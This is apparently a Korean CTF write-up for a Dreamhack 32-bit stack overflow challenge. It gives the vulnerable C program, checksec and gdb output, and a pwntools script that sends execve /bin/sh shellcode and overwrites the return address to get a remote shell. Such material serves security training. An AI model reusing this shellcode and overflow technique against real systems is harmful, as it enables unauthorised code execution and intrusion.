code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
checksec
결과
- 32bit 프로그램
- 아무런 보호기법도 걸려있지 않다.
exploit
buf
의 주소를 알고 있고, buf에 큰 값을 입력할 수 있으므로 buf
에 shellcode
를 넣고 return address
를 buf의 주소로 다시 바꿔서 shellcode
를 실행하면 되겠다.
gdb
결과
pwndbg> disass main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize>
0x080485e4 <+11>: lea eax,[ebp-0x80]
0x080485e7 <+14>: push eax
0x080485e8 <+15>: push 0x8048699
0x080485ed <+20>: call 0x80483f0 <printf@plt>
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80]
0x080485f8 <+31>: push eax
0x080485f9 <+32>: push 0x80486a5
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt>
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave
0x0804860c <+51>: ret
End of assembler dump.
- buf:
[rbp-0x80]
- SFP:
[rbp]
- RET:
[rbp+0x4]
exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 23348)
p.recvuntil(b'buf = (')
buf_addr = int(p.recvn(10), 16)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
buf = shellcode
buf += b'A' * (0x80 - len(buf))
buf += b'B' * 0x4
buf += p32(buf_addr)
p.sendline(buf)
p.interactive()